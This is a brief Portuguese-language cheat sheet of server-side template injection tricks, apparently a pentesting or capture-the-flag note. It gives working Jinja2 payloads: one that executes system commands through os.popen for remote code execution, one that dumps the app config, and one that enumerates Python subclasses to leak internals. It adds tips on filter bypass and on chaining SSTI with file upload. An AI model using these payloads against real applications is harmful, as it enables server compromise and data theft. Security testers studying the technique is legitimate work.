SSTI - Tricks
- RCE via SSTI: Teste payloads que executam comandos, como
{{ config.items() }},{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}. - Bypass de Filtros: Use variações de sintaxe e encoding para burlar restrições.
- Leak de Variáveis: Liste variáveis e funções disponíveis no template (
{{''.__class__.__mro__[1].__subclasses__()}}). - Upload + SSTI: Combine upload de arquivos com SSTI para execução remota.